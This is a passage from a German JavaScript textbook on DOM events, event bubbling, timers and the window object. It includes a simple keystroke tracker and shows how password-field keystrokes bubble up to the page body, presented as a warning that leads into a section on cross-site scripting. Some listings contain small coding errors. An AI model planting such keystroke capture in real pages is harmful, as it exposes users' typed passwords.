                Ein anderes Beispiel zeigt, wie man auf die Koordinaten der Maus innerhalb eines Objekts zugreifen kann. Beachten Sie hierbei, dass sich die Mausposition, die man über das Event-Objekt erfährt (clientX, clientY), auf den Viewport und nicht auf das Objekt selbst bezieht. Aus diesem Grund muss die Position des betroffenen Objekts im Viewport ermittelt werden, was mit getBoundingClientRect() erfolgt:

                <div id="area"></div>
<label>
  x-Koordinate:
  <output id="x"></output>
</label>
<label>
  y-Koordinate:
  <output id="y"></output>
</label>
<script>


                function mausereignis(ev) {
  const pos_area = area.getBoundingClientRect();
  document.querySelector("#x").value = ev.clientX-pos_area.left;
  document.querySelector("#y").value = ev.clientY-pos_area.top;
}
const area = document.querySelector("#area");
area.addEventListener("mousemove", mausereignis);


                </script>


                Listing 7.41    
            Ein Script zum Bestimmen der Mausposition

                
                    [image: Mithilfe des »mousemove«-Ereignisses kann man die Mausposition innerhalb eines Elements tracken]

                    Abbildung 7.70    
            Mithilfe des »mousemove«-Ereignisses kann man die Mausposition innerhalb eines Elements tracken

                
            
            
                Tastaturereignisse

                Allgemein gilt für Tastaturereignisse, dass die folgenden Events unabhängig von der gedrückten Taste sind. Welche Taste tatsächlich gedrückt wurde, muss während der Ereignisbehandlung erst ermittelt werden (sollte dies von Belang sein):

                
                    	
                        keypress tritt auf, wenn der User eine Taste auf der Tastatur nach unten drückt und wieder loslässt. Innerhalb der Ereignisbehandlung kann die gedrückte Taste über die Eigenschaft keyCode ermittelt werden. Dieses Ereignis gilt jedoch als deprecated und wird in Kürze von keinem gängigen Browser mehr unterstützt werden; kennen sollten Sie es dennoch.

                    

                    	
                        keydown und keyup treten – ähnlich wie bei Mausereignissen – beim Drücken bzw. Loslassen einer Taste auf der Tastatur auf. Die betroffene Taste kann wiederum über den keyCode ermittelt werden.

                    

                

                Auf Tastaturereignisse gehe ich in Abschnitt 0 noch genauer ein.

            
            
                Formularereignisse

                Formularereignisse interessieren uns ebenfalls:

                
                    	
                        submit tritt auf, wenn das Formular abgeschickt wird.

                    

                    	
                        reset tritt auf, wenn das Formular zurückgesetzt wird.

                    

                    	
                        change tritt auf, wenn der Inhalt eines Formularelements (<input>, <select>, <textarea>) geändert wird.

                    

                

                System- oder programmgesteuerte Ereignisse löst der User jedoch nicht aus, weshalb derartige Ereignisse selten von Objekten aus dem Dokumentbaum stammen. Diese Events bilden die weitaus größere Gruppe, beinhalten sie doch viele weitere JavaScript-APIs, die keinen direkten Zusammenhang zum Dokumentbaum haben. Dennoch befinden sich darin einige Ereignisse, die für die Webentwicklung sehr wichtig sind – nämlich diejenigen Ereignisse, die eine Information über den Ladestatus der Webseite liefern:

                
                    	
                        Beim Auftreten des Ereignisses DOMContentLoaded teilt uns der Browser mit, dass er mit dem Aufbau des Dokumentbaums fertig ist. Mit anderen Worten, dieses Ereignis tritt genau dann auf, wenn der Browser in seiner Funktion als HTML-Interpreter den vom Server gesendeten HTML-Code verarbeitet (und gegebenenfalls ver- und ausgebessert) hat. Dieses Ereignis ist wichtig: Sobald der Dokumentbaum erzeugt wurde, steht dieser auch für sämtliche Zugriffe bereit.

                    

                    	
                        Das load-Ereignis auf der anderen Seite tritt dann auf, wenn der Browser die Webseite vollständig verarbeitet hat und diese (final) darstellt. Zu diesem Zeitpunkt sind sämtliche Dateien (Medien, CSS- und JS-Dateien etc.) geladen. Das load-Ereignis bildet also den Abschluss der Arbeiten für den Browser.

                    

                

                
                    [ ! ]  Wann tritt das load-Ereignis ein?

                    Problematisch am load-Ereignis ist, dass eventuell sehr viel Zeit vergeht, bis es auftritt. Das kann an blockierenden Scripts oder auch an externen Quellen liegen, die sehr lange zum Laden benötigen.

                

                
                    [»]  load und DOMContentLoaded sind Ereignisse des document

                    Beide Ereignisse treten für das document-Objekt auf. Im Rahmen von Abschnits 7.6.2 zum Thema »Event Bubbling« werden Sie noch lernen, dass Ereignisse auch an übergeordnete Objekte »weitergegeben« werden. Da document ein Unterobjekt von window ist, können somit beide Events auch vom window-Objekt verarbeitet werden.

                

                Neben dem load-Ereignis existiert auch ein unload-Ereignis, das dann auftritt, wenn der User die Seite verlässt. Für ihn stellt sich die Seite in diesem Moment wie folgt dar:

                
                    	
                        Sämtliche Quellen sind noch vorhanden (Bilder, Medien etc.), aber nichts davon ist mehr sichtbar (auch kein HTML-Code).

                    

                    	
                        Der User kann mit der Seite nicht mehr interagieren, sprich Elemente anklicken oder Ähnliches tun; auch sind keine JavaScript-Interaktionen wie alert, confirm, prompt oder dergleichen mehr möglich.

                    

                    	
                        Auch wenn auf der Seite ein Fehler auftritt, nimmt dieser Fehler keinen Einfluss auf das unload-Ereignis.

                    

                

                Damit stellt sich die Frage, warum man auf ein solches Ereignis »horchen« sollte. Die Antwort liegt gegebenenfalls noch im Wunsch, gewisse abschließende Arbeiten (wie das Setzen eines Cookies o. Ä.) zu tätigen. Neben dem unload-Ereignis existiert auch noch das beforeunload-Ereignis, das man jedoch wieder abbrechen kann, sollte es sich der User anders überlegen. Zusammengefasst ergeben diese Ereignisse im Normalfall keinen Sinn. Natürlich existiert zu jeder Regel eine Ausnahme, aber dennoch zielen wir hier darauf ab, praxisnah zu arbeiten.

            
        
        
            7.6.2    Event Bubbling: Worauf wurde (alles) geklickt?

            Starten wir in die Thematik mit folgender Überlegung: Angenommen, auf einer Website wird ein Button innerhalb eines div-Elements platziert und wir haben den Wunsch, auf Button-Klicks zu reagieren. Gleichzeitig möchten wir aber auch auf Klicks auf das umgebende div-Element sowie auf Klicks ganz allgemein in den body reagieren. Betrachten wir also zunächst das zugehörige grafische Design sowie denjenigen Code, der bei einem Klick ausgeführt wird:

            <script> 


            function geklickt(ev) {
  out.innerHTML+= "<p>Klick auf: "+this.nodeName+"</p>";
}
const btn = document.querySelector("#btn");
btn.addEventListener("click",geklickt);


            <script>
<body>
  <div id="area">
    <button type="button" id="btn">klick...</button>
  </div>
  <div id="out">
    <strong>Worauf wurde geklickt?</strong>
  </div>
</body> 


            Listing 7.42    
            Event Bubbling macht uns das Leben nicht einfacher.

            
                [image: Worauf hat der User geklickt? Ein Versuch gibt die Antwort darauf.]

                Abbildung 7.71    
            Worauf hat der User geklickt? Ein Versuch gibt die Antwort darauf.

            
            Klickt man nun auf den Button, so geschieht etwas Unerwartetes: JavaScript detektiert neben dem Klick auf den Button auch einen Klick auf den umgebenden div-Container sowie auf den body (siehe Abbildung 7.72).

            Der Grund für dieses Verhalten liegt im Event Bubbling. Weil der Button ein Kind des div ist und somit einen Teil dieses Elements »beansprucht«, klickt man mehr oder weniger »durch den Button hindurch« auf das im Dokumentbaum übergeordnete div-Element. Selbiges gilt dann natürlich auch für das div-Element selbst, das wiederum als ein Kind des body einen Platz in diesem beansprucht – man klickt somit auch durch das div-Element auf den body.

            
                [image: Das mitunter unerwartete Ereignis sagt uns, dass sowohl auf den Button, als auch auf den »div«-Container und den »body« geklickt wurde.]

                Abbildung 7.72    
            Das mitunter unerwartete Ereignis sagt uns, dass sowohl auf den Button, als auch auf den »div«-Container und den »body« geklickt wurde.

            
            Stellt man sich die Angelegenheit im Dokumentbaum vor, so könnte man sagen, dass das Ereignis »nach oben« (zum jeweiligen Parent) weitergegeben wird: Das Ereignis steigt wie eine Blase (engl. bubble) im Sprudel hoch – »es bubbelt sich hoch«. Möchte man dies unterbinden, so muss das Event-Bubbling bzw. dieses Weiterverbreiten (Propagieren) des Ereignisses gestoppt werden. Dies erfolgt, indem man auf das Event-Objekt zugreift und dort die Methode stopPropagation() aufruft:

            function geklickt(ev) {
  ev.stopPropagation();
  out.innerHTML+= "<p>Klick auf: "+this.nodeName+"</p>";
}


            Listing 7.43    
            Wir gebieten dem Event Bubbling Einhalt, indem wir das Bubbeln stoppen.

            
                [image: Das Ereignis bubbelt nun nicht mehr weiter.]

                Abbildung 7.73    
            Das Ereignis bubbelt nun nicht mehr weiter.

            
            Sie sollten sich klarmachen, wie das Event Bubbling genau funktioniert: Das Bubbling findet anhand der Hierarchie im Dokumentbaum statt, nicht aufgrund der grafischen Platzierung der Objekte. Es geht demnach nicht darum, dass ein Objekt an derselben Position liegt wie ein anderes, sondern ob es in der Hierarchie der Objekte als Kind eines anderen Objekts existiert. Betrachten Sie etwa Abbildung 7.73: Hier wurde der Button absolut positioniert, überdeckt jedoch das Elternobjekt (die graue Fläche links) nicht mehr. Dennoch ist der Button im Dokumentbaum immer noch ein Kind dieser Fläche, weshalb bei einem Klick auf den Button auch das Elternobjekt betroffen ist (und auch alle weiteren Groß- und Urgroß-usw.-Objekte).Der User tippt: Tastaturereignisse abfangen

            Tastaturereignisse sind eine recht sensible Angelegenheit, verbindet man doch damit sofort die Idee, (sämtliche?) Eingaben eines Users auf einer Webseite mittracken zu können. Das würde unweigerlich zur nächsten Idee führen, hätte man Böses im Sinn: den User aushorchen. Aus diesem Grund sind Tastaturereignisse auf gewisse HTML-Elemente beschränkt: Formular-Elemente wie <input> oder <textarea> sowie auf sämtliche Elemente, deren Inhalt editierbar ist (content-editable) oder auf Elemente, die einen Tab-Index erhalten dürfen. Und genau hier beißt sich die Katze in den Schwanz, denn auch der <body> darf mit einem Tab-Index versehen werden.

            
                [image: Nicht die grafische Platzierung von Elementen ist für das Event Bubbling entscheidend, sondern die Hierarchie der Objekte im Dokumentbaum.]

                Abbildung 7.74    
            Nicht die grafische Platzierung von Elementen ist für das Event Bubbling entscheidend, sondern die Hierarchie der Objekte im Dokumentbaum.

            
            
                [Info]  Tab-Index

                Über den Tab-Index kann man die Reihenfolge der Elemente steuern, die durch einen Druck auf die Tabulatortaste ausgewählt werden. So verhilft man etwa Menschen mit eingeschränkten motorischen Eigenschaften, auf der Seite zu navigieren. Das gilt natürlich auch für Systeme, auf denen dem User lediglich eine Tastatur zur Verfügung steht.

            

            Möchten wir also tatsächlich wissen, welche Tasten ein User während seines Aufenthalts auf einer Webseite drückt, so bräuchten wir lediglich folgenden Code:

            document.addEventListener("keydown",tastendruck);
function tastendruck(ev) {
  out.innerHTML+= "<p>Taste "+ev.key+" (" + ev.keyCode + ")</p>";
}


            Listing 7.44    
            Ein sehr einfacher Keytracker

            Das Ergebnis ist ein wenig erschreckend (siehe Abbildung 7.75).

            
                [image: Einfaches Tastaturtracking auf einer Webseite]

                Abbildung 7.75    
            Einfaches Tastaturtracking auf einer Webseite

            
            Für diesen Listener benötigen wir demnach zwei Informationen:

            
                	
                    Wie lautet der Name des Ereignisses? keydown für das Drücken der Taste bzw. keyup für das Loslassen.

                

                	
                    Wie erfährt man, welche Taste gedrückt wurde? Diese Information steckt wiederum im Event-Objekt, das an die Ereignisbehandlung übergeben wurde (hier: ev). Über die Eigenschaft key erhält man die Info zur gedrückten Taste, über keyCode den zugehörigen ASCII-Code.

                

            

            Spinnen wir die Idee ein wenig weiter und integrieren wir zusätzlich noch ein Eingabefeld, in das der User (s)ein Passwort eingeben soll (siehe Abbildung 7.76).

            Sehen Sie, was ich meine? Das Eingabeelement für das Passwort bubbelt das Ereignis hinauf bis zum Body, der die Informationen dankend annimmt. Dieses Prozedere wird zu einem echten Problem, wenn einem User auf einer Website dieser Code untergeschoben wird. In Abschnitt 13.1 werden wir uns der Thematik Cross-Site Scripting annehmen und entsprechende Gegenmaßnahmen einleiten. Dort werden Sie auch noch eine weitere Variante eines Keytrackers (oder auch Keyloggers) kennenlernen.

            
                [image: Weil das Eingabeelement die Tastaturereignisse »durchbubbelt«, landen diese auch irgendwann beim Body. Den Rest können Sie sich denken ...]

                Abbildung 7.76    
            Weil das Eingabeelement die Tastaturereignisse »durchbubbelt«, landen diese auch irgendwann beim Body. Den Rest können Sie sich denken ...

            
            Tastaturereignisse sind Ereignisse, die (in der Regel) nicht für ein spezielles Element wie zum Beispiel ein Bild auftreten, sondern sie sind »allgemeiner«. Das heißt, man ermittelt für das gesamte (Browser-)Fenster, ob eine Taste gedrückt wurde. In einem zweiten Schritt ermittelt man dann, welche Taste es war.

            
                [Info]  ASCII-Code

                ASCII steht für American Standard Code for Information Interchange und stellt die Grundlage für die Kodierung von Zeichensätzen dar.

            

            
                Tastenkombinationen

                Ein weiterer Spezialfall ist die Abfrage von Tastenkombinationen, beispielsweise (ª)+(A). Ein direktes Abfragen einer Tastenkombination ist nicht möglich, jedoch werden auch beim Gedrückt-Halten einer Taste die danach gedrückten Tasten mitprotokolliert (und lösen somit wiederum das Tastaturereignis aus). Ein Codefragment, das Tastenkombinationen abfängt, könnte dann beispielsweise wie folgt aussehen:

                let keys = [];
document.addEventListener("keydown",tastendruck);
function tastendruck(ev) {
  let taste = ev.keyCode;
  if(keys[keys.length-1]!=taste) { keys.push(taste); }
  if(taste<16 || taste>18) {
    //SHIFT: 16, STRG: 17, ALT: 18, ALT-GR: 17+18 hintereinander
    let key = keys.join("+");
    console.log("Es wurde folgende Taste/Tastenkombination gedrückt: " + key);
    keys = [];
  }
}


                Listing 7.45    
            Wir detektieren Tastenkombinationen.

                Hierbei gelten folgende Tastencodes:

                
                    	
                        Die (ª)-Taste entspricht dem ASCII-Code 16.

                    

                    	
                        (Strg): ASCII-Code 17

                    

                    	
                        (Alt): ASCII-Code 18

                    

                    	
                        (Alt_Gr): ASCII-Codes 17 und 18 hintereinander

                    

                

            
        
        
            7.6.3    Schritt für Schritt: Ein Bildwechsler mit JavaScript

            Unser Ziel wird es sein, per JavaScript den Bildinhalt eines Bildes bei onclick, onmouseover und onmouseout zu verändern. Dabei starten wir mit folgendem Code (in weiterer Folge werde ich auf die Darstellung von <html>, <head> etc. verzichten):

            <!DOCTYPE html>
<html lang="de">
<head>
<title>DOM 01</title>
<meta charset="utf-8">
</head>
<body>
<img src="bilder/pic7.jpg" id="meinBild">
<script>


            document.querySelector("#meinBild").src = "bilder/pic3.jpg";


            </script>
</body>
</html>


            Im obigen Code wird mit der id meinBild ein Bild erzeugt, das vorab die Bilddatei pic7.jpg aus dem Ordner bilder zugewiesen bekommt. Im darauffolgenden Code wird diese Bilddatei (sofort) durch eine andere Bilddatei (bilder/pic3.jpg) ersetzt. Nachteilig an dieser Variante ist, dass das Bild ohne Zutun des Users (also weder per click, mouseover oder mouseout) getauscht wird. Natürlich wollen wir den Bildwechsel nicht sofort durchführen, sondern möchten diesen erst durch einen Klick auf das Bild initiieren, wozu wir einen Event Listener einsetzen – jedoch zunächst einmal mit den unbeliebten Inline Event Handlern:

            <img src="bilder/pic7.jpg" id="meinBild"  
onclick="document.getElementById('meinBild').src = 'bilder/pic2.jpg';" onmouseover="document.getElementById('meinBild').src = 'bilder/pic9.jpg';" onmouseout="document.getElementById('meinBild').src = 'bilder/pic8.jpg';">
...


            Listing 7.46    
            Ein erster Schritt zu einem Bildwechsler

            In diesem Fall soll bei click, mouseover und mouseout die Bilddatei ausgetauscht werden, und zwar wie folgt:

            
                	
                    Click (onclick-Ereignis): Die Bilddatei wird durch bilder/pic2.jpg ersetzt.

                

                	
                    Mouseover (onmouseover-Ereignis): Die Bilddatei wird durch bilder/pic9.jpg ersetzt.

                

                	
                    Mouseout (onmouseout-Ereignis): Die Bilddatei wird durch bilder/pic8.jpg ersetzt.

                

            

            Nachteilig an diesem Code ist die Tatsache, dass der JavaScript-Code durchaus auch länger werden kann und somit der Code sehr unübersichtlich wird. Deshalb ersetzt man den Code durch Funktionsaufrufe:

            ...
<script>


            function tauscheBeiKlick() {
  document.getElementById('meinBild').src = 'bilder/pic2.jpg';
}
function tauscheBeiOver() {
  document.getElementById('meinBild').src = 'bilder/pic9.jpg';
}
function tauscheBeiOut() {
  document.getElementById('meinBild').src = 'bilder/pic8.jpg';
}


            </script>
...
<img src="bilder/pic7.jpg" id="meinBild" onclick="tauscheBeiKlick();" onmouseover="tauscheBeiOver();" onmouseout="tauscheBeiOut();">
...


            Listing 7.47    
            Die verbesserte Version nutzt Funktionen, ist aber dennoch verbesserungswürdig.

            In diesem Fall ist unser Code bereits sehr viel übersichtlicher geworden. Er hat aber immer noch den Nachteil, dass wir drei Funktionen dafür benötigen. Würde man die Funktionen dahingehend erweitern, dass sowohl die ID des Bildes als auch die URL der Bilddatei an die jeweiligen Funktionen übergeben werden, so könnte man diese drei Funktionen zu einer einzigen Funktion zusammenfassen:

            ...
<script>


            function tausche(elementID,elementSource) {
  document.getElementById(elementID).src = elementSource;
}


            </script>
...
<img src="bilder/pic7.jpg" id="meinBild" onclick="tausche('meinBild','bilder/pic2.jpg');" onmouseover="tausche('meinBild','bilder/pic9.jpg');" onmouseout="tausche('meinBild','bilder/pic8.jpg');">
...


            Listing 7.48    
            Funktionen mit Übergabeparametern vereinfachen den Code.

            Eine weitere Verbesserung stellt der Einsatz des Wortes this dar: this bezieht sich auf das aktuelle Element, in dem sich der auszuführende JavaScript-Code befindet. Anstatt meinBild im Funktionsaufruf zu schreiben, kann man dies also durch this.id ersetzen (die Funktion selbst bleibt davon unberührt):

            ...
<img src="bilder/pic7.jpg" id="meinBild" onclick="tausche(this.id,'bilder/pic2.jpg');" onmouseover="tausche(this.id,'bilder/pic9.jpg');" onmouseout="tausche(this.id,'bilder/pic8.jpg');">
...


            Der letzte Nachteil ist, dass der JavaScript-Code nach wie vor im HTML-Bereich steht – dies ist eine Sache, die man bei der Verwendung unterschiedlicher Technologien (HTML, CSS, JavaScript) gerne vermeiden möchte. Beispielsweise vermeidet man es, dass man in CSS den CSS-Code mittels style-Attribut direkt in ein HTML-Element schreibt:

            <p style="background-color:red;">Nicht erwünscht...</p>


            Besser wäre der Einsatz einer Klasse, einer ID oder einer anderen CSS-Formatierung.

            Genauso verhält es sich mit JavaScript: Man möchte die Ereignisbehandlung nicht als Attribut im HTML-Code sehen, sondern an geeigneter Stelle (beispielsweise innerhalb eines <script> im <head>). Um solche Ereignisse Elementen zuzuweisen, muss man jedoch »warten«, bis diese im Browser auch verfügbar sind. Die Verfügbarkeit ist dann gegeben, wenn das Dokument mitsamt seinen Inhalten vollständig vom Server geladen wurde (eigentlich schon früher, und zwar dann, wenn der Browser den gesamten Content einmal durchgeparst hat und den sogenannten Dokumentbaum aufgebaut hat: DOMContentLoaded) – dies wird mithilfe des onload-Ereignisses des Dokuments (oder des Window) abgefragt:

            ...
window.onload = init; 
//Zuweisung der Funktion init an das load-Ereignis des Fensters
function init() {
  const pic =  querySelector("#meinBild");
  pic.onclick = function() {
    tausche(this.id,'bilder/pic2.jpg');
  }
  pic.onmouseover = function() {
    tausche(this.id,'bilder/pic9.jpg');
  }
  pic.onmouseout = function() {
    tausche(this.id,'bilder/pic8.jpg');
  }
}
...


            Listing 7.49    
            Mithilfe von Event Handlern kommen wir unserem Ziel näher.

            Eine alternative Schreibweise zu window.onload = init; ist:

            window.addEventListener("load",init,false);

            Möchten Sie also auf das (frühzeitigere) Ereignis DOMContentLoaded warten, so ergibt sich der Code wie folgt:

            document.addEventListener("DOMContentLoaded",init,false);


            Schlussendlich könnten wir unseren Code dadurch verbessern, dass wir sämtliche Inline Event Handler vermeiden, die Event Listener erst dann zuweisen, wenn der Dokumentbaum bereitsteht, und anonyme Arrow-Funktionen nutzen. Außerdem übergeben wir an die Funktion tausche2 als ersten Parameter direkt den Verweis auf das betroffene Bild (genauer gesagt: das zugehörige Objekt im Dokumentbaum):

            <script>


            document.addEventListener("DOMContentLoaded", (ev) => {
  const pic = document.querySelector("#meinBild");
  pic.addEventListener("click",() => {
    tausche2(pic,"bilder/pic2.jpg");
  });
  pic.addEventListener("mouseover",() => {
    tausche2(pic,"bilder/pic9.jpg");
  });
  pic.addEventListener("mouseout",() => {
    tausche2(pic,"bilder/pic8.jpg");
  });
});
function tausche2(obj,src) {
  obj.src = src;
}


            </script>
<img src="bilder/pic.jpg" id="meinBild">


            Listing 7.50    
            Nun haben wir’s: Der JavaScript-Code ist gänzlich vom HTML-Code entkoppelt.

        
    


                    
                        
        7.7    Wir haben ja Zeit: Zeitlich gesteuerte Befehle

        In JavaScript hat man zwei Möglichkeiten, zeitlich Befehle zu steuern:

        
            	
                Zeitverzögerung: Ein Befehl wird zeitlich verzögert ausgeführt.

            

            	
                Intervall: Ein Befehl wird in einem regelmäßigen Intervall immer wieder ausgeführt (bis er irgendwann wieder einmal gestoppt wird, was aber nicht sein muss).

            

        

        Alles nur verzögert – das Timeout

        In diesem Fall wird die Methode setTimeout verwendet:

        setTimeout(() => { zeigeBild(); },2000); 
//die Funktion zeigeBild wird nach 2000 ms (=2 s) aufgerufen


        Um zu verhindern, dass ein Timeout abgearbeitet wird, gibt es die Möglichkeit eines clearTimeout. Um das zu tun, muss das Timeout einer (globalen) Variablen zugewiesen werden:

        let timeout; //muss eine globale Variable sein
timeout = setTimeout(() => { zeigeBild(); },2000);
...
clearTimeout(timeout);


        Alle paar Augenblicke – das Intervall

        Ein Intervall wiederholt die Ausführung eines Codes in regelmäßigen Abständen. Hierzu geht man genauso wie bei einem Timeout vor:

        setInterval(() => { zeigeBild(); },2000); 
//die Funktion zeigeBild wird alle 2000 ms aufgerufen


        Wie auch beim Timeout weist man ein Intervall einer globalen Variable zu, um das Intervall später wieder »löschen« (stoppen) zu können:

        let intervall;
intervall = setInterval(() => { zeigeBild(); },2000);
...
clearInterval(intervall);


        Anmerkung: In beiden Fällen (setTimeout wie auch setInterval) sei darauf hingewiesen, dass bei mehrmaliger Zuweisung einer der Methoden der Wert der Variablen (hier: timeout bzw. intervall) nicht ersetzt, sondern als Array weitergeführt wird. So kann es vorkommen, dass durch eine Mehrfachzuweisung an eine Variable das Timeout/Intervall mehrfach läuft. Unterbinden können Sie dies, indem Sie vor dem Zuweisen eines Timeouts/Intervalls ein eventuell zuvor gesetztes Timeout/Intervall löschen. Sollte kein Timeout/Intervall existieren, so erzeugt die Löschmethode trotzdem keinen Fehler.

        <script>


        document.addEventListener("DOMContentLoaded",(ev) => {
  document.querySelector("btnSetze").addEventListener("click",setze);
  document.querySelector("btnLoesche").addEventListener("click",loesche);
});
 
let gbl_t;
 
function setze() {
  loesche(); //löscht ein Intervall, bevor es gesetzt wird
  gbl_t = setInterval(() => { abc(); },3000);
}
function loesche() {
  clearInterval(gbl_t);
}
 
function abc() {
  console.log("Hallo Welt!");
}


        </script>
<button type="button" id="btnSetze">verzögerter Klick</button>
<button type="button" id="btnLoesche">Intervall löschen</button>


        Listing 7.51    
            Ein kleines Beispiel für Intervalle

        Anmerkung: Die Funktion abc() dient lediglich dazu, in der Entwicklerkonsole mitverfolgen zu können, welche Funktion zu welchem Zeitpunkt aufgerufen wird.

    


                    
                        
        7.8    Mehr als nur document: Das window-Objekt

        Bereits in Abschnitt 7.5 zum Dokumentobjektmodell habe ich darauf hingewiesen, dass JavaScript die gesamte Website als Dokumentbaum sieht, der über das document-Objekt angesprochen werden kann. Obwohl der Zugriff auf die HTML-Elemente (Sie wissen schon: korrekt müsste es »die Objekte im Dokumentbaum« heißen) für einen Webentwickler bei Weitem das Wichtigste ist, sollten Sie einen Blick über den document-Tellerrand wagen und sich der Realität stellen: Das document ist lediglich ein Kind des window-Objekts, das eigentlich der große Herrscher über jegliches Vorgehen im Browser ist. Und das aus einem sehr einfachen Grund: Das window stellt im Wesentlichen das Browserfenster dar.

        Betrachtet man als User ein Browserfenster, so fallen einem einige (grafische wie funktionale) Bereiche/Objekte/Elemente auf:

        
            	
                Zunächst einmal finden wir den Vor- und Zurück-Button, mit dem wir die bereits besuchten Websites aufrufen können. Das zugehörige Objekt unterhalb des window nennen wir das history-Objekt bzw. die History, da sie uns einiges zur (Navigations-)Geschichte einer Website erzählen kann.

            

            	
                Weiters kennen wir natürlich die Eingabezeile für die URL, die einen Verweis zum aktuell dargestellten Dokument wiedergibt. Wir nennen dies das location-Objekt bzw. eben die Location.

            

            	
                Möchte man Informationen zum Browser selbt erhalten, so findet man diese im navigator-Objekt. Der Grund, warum dieses Objekt Navigator heißt, hat mit der Historie von JavaScript zu tun: Der »Erfinder« von JavaScript war die Firma Netscape, die ihren Browser »Netscape Navigator« taufte.

            

            	
                Details zum Bildschirm, dem Screen, liefert uns das screen-Objekt.

            

            	
                Die Entwicklerkonsole (Console genannt) kennen wir bereits hinlänglich. Sie erreichen wir, indem wir auf das console-Objekt zugreifen.

            

        

        Jedes dieser Objekte kann wiederum weitere Objekte beinhalten. Auf die wichtigsten dieser Objekte werde ich in den folgenden Abschnitten noch genauer eingehen. Weil window das Standardobjekt ist, kann die Angabe von window auch entfallen: Anstelle von window.history könnte man auch gleich nur history schreiben.

        
            7.8.1    Unser Browser, der »Navigator«

            Das navigator-Objekt gibt Auskunft über den verwendeten Browser. Leider entsprechen die Informationen in der Regel nicht den Informationen, die man erwarten würde. Tabelle 7.6 zeigt meine Testergebnisse auf einem Windows 10-Rechner.

            
                
                    
                        	
                            Eigenschaft

                        
                        	
                            Beschreibung

                        
                        	
                            Mozilla Firefox

                        
                        	
                            MS Edge

                        
                        	
                            Google Chrome

                        
                    

                
                
                    
                        	
                            appCodeName

                        
                        	
                            Codename des Browsers

                        
                        	
                            Mozilla

                        
                        	
                            Mozilla (kein Fehler!)

                        
                        	
                            Mozilla

                        
                    

                    
                        	
                            appName

                        
                        	
                            Name des Browsers

                        
                        	
                            Netscape

                        
                        	
                            Netscape (kein Fehler!)

                        
                        	
                            Netscape

                        
                    

                    
                        	
                            appVersion

                        
                        	
                            Version

                        
                        	
                            5.0 (Windows)

                        
                        	
                            5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 Edge/15.15063

                        
                        	
                            5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36

                        
                    

                    
                        	
                            userAgent

                        
                        	
                            Informationen, die vom Browser an den Server gesandt werden

                        
                        	
                            Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0

                        
                        	
                            Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 Edge/15.15063

                        
                        	
                            Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36

                        
                    

                    
                        	
                            Product

                        
                        	
                            Name der Browser-Engine

                        
                        	
                            Gecko

                        
                        	
                            Gecko

                        
                        	
                            Gecko

                        
                    

                    
                        	
                            language

                        
                        	
                            de

                        
                        	
                        	
                            de-AT

                        
                        	
                            de-AT

                        
                    

                    
                        	
                            online

                        
                        	
                            Gibt an, ob der Browser eine aktive Internetverbindung erkennen kann.

                        
                        	
                            true

                        
                        	
                            true

                        
                        	
                            true

                        
                    

                
            

            Tabelle 7.6    
            Die Eigenschaften des »navigator«-Objekts

            Je nach verwendetem Browser erhalten Sie noch weitere Informationen zur Geolocation, zu Cookies, zum verwendeten Betriebsystem des Users (Platform) usw.

            Der Zugriff erfolgt über das navigator-Objekt, also etwa navigator.userAgent zum Abfragen der Informationen rund um den Browser, die an den Server gesendet werden. Über die Information, um welchen Browser es sich handelt, kann man auf verschiedenste Informationen schließen: welche Features die jeweiligen Browser bereitstellen usw.

        
        
            7.8.2    Wo wir uns befinden – die Location

            Mithilfe des location-Objekts ist man in der Lage, Informationen rund um die im Browser dargestellte Webadresse herauszufinden. Dies umfasst unter anderem:

            
                	
                    die URL: href

                

                	
                    den Sprunganker (sofern vorhanden): hash

                

                	
                    die GET-Informationen (sofern vorhanden): search

                

                	
                    die Informationen zum Host (Hostname und Port): host (hostname, port)

                

                	
                    das verwendete Protokoll: protocol

                

            

            sowie weitere Informationen, die Sie in den gängigen Informationsquellen (Developer-Site von Mozilla, W3Schools etc.) finden können. Spannend ist natürlich, dass man diese Eigenschaften nicht nur auslesen, sondern auch schreiben kann. So können Sie beispielsweise die URL abändern (und den User auf eine andere Seite weiterleiten), indem Sie document.location.href = "https://www.orf.at" schreiben.

            Betrachten wir als Beispiel die Adresse http://localhost:80/3443/dom_location.php?VN=Uwe&NN=Mutz#Start, so kann man diese wie folgt aufsplitten:

            
                	
                    href: http://localhost:80/3443/dom_location.php?VN=Uwe&NN=Mutz#Start

                

                	
                    hash: #Start

                

                	
                    search: ?VN=Uwe&NN=Mutz

                

                	
                    host: localhost:80

                

                	
                    hostname: localhost

                

                	
                    port: 80

                

                	
                    protocol: http:

                

            

            Neben den Informationen zur Adresse bietet das location-Objekt auch folgende Möglichkeiten:

            
                	
                    Zuweisen einer neuen Adresse: assign()

                

                	
                    die aktuelle Adresse neu laden: reload()

                

                	
                    die aktuelle Adresse durch eine andere Adresse ersetzen: replace(). Im Unterschied zu assign() wirkt sich diese Variante nicht auf die »History« des Browsers aus, weshalb man beim Klicken des Back-Buttons nicht zur zuvor verwendeten Adresse gelangt.

                

            

        
        
            7.8.3    Wo wir waren – die History

            Das History-Objekt dient dazu, zwischen bereits besuchten Seiten zu springen. Hierzu sei jedoch angemerkt, dass eine Website immer nur auf diejenigen Seiten einer History Zugriff hat, die auf die eigene Website zeigen. Beispielsweise ist es nicht möglich, mithilfe dieses Objekts auf Seiten zu springen, die der User vor unserer Site besucht hat.

            Das Objekt liefert folgende Informationen und Möglichkeiten:

            
                	
                    die Anzahl der besuchten URLs: length

                

                	
                    zur vorigen URL springen: back()

                

                	
                    zur folgenden URL springen: forward()

                

                	
                    zu einem beliebigen Eintrag in der History springen: go(). Hier wird als Übergabeparameter eine Zahl übergeben; ist die Zahl negativ, so springt man in der History zurück

                

            

            Beispiel: history.back() springt auf die zuvor dargestellte URL; history.go(2) springt auf die zweite nach dieser URL angezeigte URL.

        
    


                    
                        
        7.9    Das mühselige Arbeiten mit Datum und Uhrzeit

